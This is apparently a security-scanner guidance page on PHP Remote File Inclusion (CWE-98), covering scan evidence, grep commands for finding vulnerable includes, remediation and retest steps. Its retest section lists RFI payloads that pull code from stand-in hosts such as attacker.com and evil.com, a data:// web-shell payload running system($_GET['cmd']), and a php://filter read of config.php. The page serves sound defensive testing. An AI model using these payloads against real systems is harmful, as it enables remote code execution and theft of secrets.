CWE-98: PHP Remote File Inclusion
Overview
This guidance helps interpret DAST findings for CWE-98: PHP Remote File Inclusion (RFI). During dynamic scanning, the scanner detected that PHP include/require statements could be manipulated to load and execute remote files from attacker-controlled URLs.
What the DAST scanner detected:
- Remote URL schemes (
http://,https://,ftp://,data://,php://) successfully included in file parameters - External server requests: The scanner's web server received HTTP requests from the target application, confirming remote file inclusion
- Error messages revealing PHP inclusion functions:
include(): Failed opening 'http://attacker.com/shell.php' for inclusionrequire(): http:// wrapper is disabled in the server configuration
- Code execution evidence: Remote PHP files executed, observable through callbacks or injected content in responses
- PHP wrapper exploitation:
data://text/plain,<?php phpinfo();?>,php://input,php://filterwork
Key DAST evidence:
- Input
?page=http://attacker.com/shell.txttriggers HTTP GET request from target server toattacker.com(observed in attacker logs) - Response contains content from remotely loaded file (e.g.,
phpinfo()output) - Error:
Warning: include(http://evil.com/backdoor.php): failed to open stream: HTTP request failed! - Data wrapper works:
?file=data://text/plain,<?php echo 'RFI';?>displays "RFI" in response - Out-of-band confirmation: Scanner's HTTP server logs show
GET /payload.txtfrom target IP
Analyzing the Dynamic Scan Result
What the DAST Scanner Found
When reviewing your security scan results, you'll see:
HTTP Request Details
- URL and endpoint that triggered the finding
- HTTP method (GET, POST, etc.)
- Query parameters or form data with test payloads
- Request headers and body content
HTTP Response Evidence
- Response showing the vulnerability manifestation
- Evidence of improper handling or injection
- Runtime behavior indicators
Attack Vector
- Which parameter or input is vulnerable
- Type of exploitation possible
- Context where the vulnerability appears
Mapping DAST Findings to Source Code
Find the Vulnerable Endpoint
Use the HTTP request URL to locate the code:
# Search for the URL path in your codebase (PHP files)
grep -r "/page" *.php
grep -r "/load" *.php
grep -r "/template" *.php
grep -r "/module" *.php
Locate the File Inclusion
Search for PHP file inclusion functions:
# Find file inclusion points
grep -r "include" *.php
grep -r "require" *.php
grep -r "include_once" *.php
grep -r "require_once" *.php
Find the Parameter Handling
Search for parameters used in include/require:
# Find where GET/POST parameters are used in includes
grep -r "include.*\$_GET" *.php
grep -r "require.*\$_GET" *.php
grep -r "include.*\$_POST" *.php
grep -r "include.*\$_REQUEST" *.php
Trace to Vulnerable Operation
Look for dangerous patterns:
- Direct inclusion:
include($_GET['page'])orrequire($_GET['file']) - Weak validation: Only checking file extension
- allow_url_include enabled: PHP config allows remote URLs
- Missing path restrictions: No base directory validation
- Null byte bypasses: Incomplete sanitization
Remediation
Core principle: Never allow untrusted input to select files for inclusion or execution; includes must resolve only to server-controlled, allowlisted local files, and remote inclusion must be disabled.
→ For comprehensive remediation guidance, see Static CWE-98 Guidance
Verification and Follow-Up Testing
After applying the fix:
Reproduce the Vulnerability
# Use curl to test RFI
curl "http://localhost/index.php?page=http://attacker.com/shell.txt"
curl "http://localhost/page.php?file=http://evil.com/backdoor.php"
# Or use browser address bar
Verify the Fix
- Confirm includes use allowlisted identifiers (e.g., page=help → help.php)
- Confirm allow_url_include=0 and ideally allow_url_fopen=0 unless required
- Confirm wrappers like php://, data://, expect://, phar:// are rejected/irrelevant due to design
- Confirm traversal/absolute paths are blocked by containment, not regex
- If using filesystem paths, resolve to canonical paths under a fixed base directory (absolute paths alone are not a control)
- Ensure input validation rejects URLs and path traversal
- Test that only local files can be included
Test Edge Cases
# Remote file inclusion
/page?file=http://attacker.com/shell.txt
/page?file=https://evil.com/backdoor.php
/page?file=ftp://attacker.com/shell.php
# Data URI (if allow_url_include enabled)
/page?file=data://text/plain,<?php system($_GET['cmd']);?>
# PHP filter wrapper
/page?file=php://filter/convert.base64-encode/resource=config.php
/page?file=php://input # With POST body containing PHP code
# Path traversal combined with RFI
/page?file=../../http://attacker.com/shell.txt
# Or use browser DevTools Network tab to copy as cURL
Re-run DAST Scanner
Run your dynamic scanner again on the fixed endpoint to confirm remediation.